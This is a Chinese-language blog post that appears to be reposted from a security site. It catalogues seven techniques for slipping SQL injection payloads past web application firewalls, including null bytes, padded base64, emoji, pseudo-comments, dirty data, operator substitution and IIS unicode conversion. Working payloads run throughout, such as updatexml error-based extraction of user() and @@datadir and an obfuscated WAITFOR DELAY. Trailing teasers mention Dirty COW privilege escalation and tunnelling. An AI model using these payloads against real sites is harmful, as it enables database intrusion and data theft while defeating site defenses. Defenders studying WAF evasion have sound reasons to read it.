<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    實戰中各種SQL注入的繞過姿勢

    VSole2023-05-06 09:35:15

    0x01 %00繞過WAF

    輸入一個單引號

    頁面報錯

    首先閉合,這里用')閉合

    keywords=1') %23
    

    order by x 被攔截,用--%0a代替空格即可

    直接上union select會一直卡著,沒有任何返回

    把空格都改為--%0a,成功響應,在 select 跟 1,2,3... 之間用兩個 --%0a 會無響應

    在 1 后面加上 %00 并 url 編碼,原理是 waf 把空字節認為是結束導致了后面的語句可以繞過

    0x02 Base64繞WAF

    發現參數為 base64 編碼

    測試字符發現頁面報錯,使用報錯注入來出數據

    133 and updatexml(1,concat(0x1,user()),1)
    

    將以上 payload 經過 base64 編碼后得到,但發現被攔截了

    MTMzIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHgxLHVzZXIoKSksMSk=
    

    php 在 base64 解碼的時候會忽略特殊字符,我們在 payload 里面穿插!、@、.來讓 waf 沒辦法識別到,但是后端可以識別,成功注入得到 root 權限


    M!T!@MzIGF.@uZ!CB.1c.GR@.h.dGV.4b.@Ww.!oM!!Sxjb@25jYX.Qo@M.Hg.@x.LH.V@.zZXI!oKSksM!S!.k.=
    

    0x03 Emoji繞過WAF

    先 order by 獲取列數

    嘗試使用聯合注入時就會被攔截,無限等待響應

    這里我們使用emoji方式去代替空格來繞過 waf,成功注入出回顯

    0x04 注釋符繞過WAF

    在后面加上 order by 1 被安全狗攔截

    WAF 會避免消耗大量內存去匹配危險函數,故會直接忽略"有效注釋"中的內容,而攻擊者可以構造不存在的參數來實現"偽注釋",這里我們構造

    http://xxxx/xxxx.asp?a=/&id=1308%20order%20by%2035&b=/ order by 35 正常
    

    那么這里就無任何攔截了,可直接交給 sqlmap

    0x05 臟數據繞過WAF

    頁面搜索功能嘗試輸入單引號,頁面 500 報錯并輸出了報錯信息

    這里竟然有報錯我們就想著使用報錯注入,但是含有類似于updatexml這種關鍵字直接攔截

    因為 get 繞過姿勢較少,我們嘗試把數據通過 post 發送,發現后端也接收,那么這里使用臟數據來繞過

    大量數據&searchText='or updatexml(1,concat(0x1,user()),1) and '1'='1
    

    0x06 關鍵字替換繞過WAF

    單引號頁面報錯

    這里我們打算使用 updatexml 來進行報錯輸出,在 url 后面添加 and 發現并沒有攔截,但是如果在 and 后面空格然后跟 updatexml 直接被攔截

    這里我們的繞過方法是用運算符,and (+-/^)發現并沒有被攔截

    keywords=11'and-updatexml()
    

    Updatexml參數為數字時被攔截

    keywords=11'and-updatexml(1,1,1)
    

    這里可以使用16進制或者科學計數法0x11e1

    keywords=11'and-updatexml(0x1,,0x1)
    

    我們首先閉合一下后面的單引號,在后面加上and'讓他配合原有的單引號把%包裹起來

    keywords=11'and-updatexml(0x1,,0x1)and'
    

    現在我們來構造報錯內容,concat函數被攔截,這里使用 concat_ws()函數,將后面的參數用第一個值來分割,然后配合@@datadir輸出路徑

    11'and-updatexml(0x1,concat_ws(1,0x7e,@@datadir),0x1)and'
    

    0x07 中間件特性繞過WAF

    首先通過-1 /1/0運算判斷出存在數字型 sql 注入,一般來說 asp 都是用 access,這里使用--%0a的方式來構造 payload 也能正常執行,判斷出這里為 mssql

    這里的測試 payload 是:

    --隨機字符%0a AND--隨機字符%0a1=1
    

    在 asp+iis 的環境下unicode在 iis 解析之后會被轉換成 multibyte,但是轉換的過程中可能出現:多個 widechar會有可能轉換為同一個字符

    打個比方就是譬如 select 中的 e對應的 unicode 為%u0065,但是%u00f0同樣會被轉換成為e

    o --> %u004f --> %u006f --> %u00ba
    e --> %u0045 --> %u0065 --> %u00f0
    

    首先測試延時 payload,將里面的o替換為%u00ba,返回時間正常

    WAITF%u00baR%20DELAY%20%270:0:0%27
    

    改為 1,頁面返回 3 秒,執行了 3 次,不管輸入多少都會被乘 3

    寫個 tamper 即可使用 sqlmap 跑

    sql注入waf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    對于安全社區來說,Web應用防火墻(WAF)似乎一直以來都是一個大家默認都要使用的東西,而且幾乎也沒有人會反對使用Web應用防火墻。在這篇文章中,我們將給大家提供一個新的視角去看待WAF,并會對Web應用防火墻的使用效率問題與替代性技術進行深入探討。
    好久沒寫實戰文章了,過年過的手都麻了,一天不滲透我是渾身難受。正想找幾個站泄泄火呢。剛好就接到了領導的任務,需要我去參加某集團組織的攻防演練。過程即簡單也曲折,好在成功繞過waf,且橫向滲透取得辦公區運維機權限,最終取得工控生產區服務器權限,完成滲透目標,skr~skr~。
    sql注入防火墻WAF繞過
    2022-01-26 06:33:00
    一次無意間發現了一個網站的搜索處存在sql注入。繼續利用,然后輸入and的時發現出了的網站的安全狗。
    關注一波,謝謝各位師傅感謝ch1e師傅幫忙總結ch1e‘blog:https://ch1e.gitee.io
    實戰 | 記一次有趣的滲透測試
    SQL注入準考證查詢功能73327-slqqdgm5hbs.png填入單引號56796-qualdih4dbf.png頁面報錯50065936-81um8p96fp.png兩個單引號14002-ysq2k0hdab.png頁面正常,顯示無報名資料98470-kgdpmaoxi7.png這里首先構造一個true條件,先獲取功能點44785-c61vo5xc0ip.png顯示信息頁面有個下載準考證25809-x5jw2wb65u.png打開是個pdf51297-e73afhk0x3.png查看數據包,發現是根據post的id參數生成pdf文件01019-qes1y54wmk.png這里經過測試,數字型注入35個字段id=-2) Union#. 滿足臟牛提權條件,直接上臟牛成功提權94726-c9u07mrow8w.png查看開放端口有開放22-ssh,但是嘗試連接無法連接到端口78739-ofv046wfnmb.png上Neo-reGeorg將ssh代理出來70655-o69f32d5srg.png然后連接127.0.0.1,查看權限為root
    0x01 %00繞過WAF輸入一個單引號頁面報錯首先閉合,這里用')閉合keywords=1') %23. order by x 被攔截,用--%0a代替空格即可直接上union select會一直卡著,沒有任何返回把空格都改為--%0a,成功響應,在 select 跟 1,2,3... 之間用兩個 --%0a 會無響應在 1 后面加上?并 url 編碼,原理是 waf 把空字節認為是結束導致了后面的語句可以繞過0x02 Base64繞WAF發現參數為 base64 編碼測試字符發現頁面報錯,使用報錯注入來出數據133 and updatexml. 這里可以使用16進制或者科學計數法0x1或1e1keywords=11'and-updatexml
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类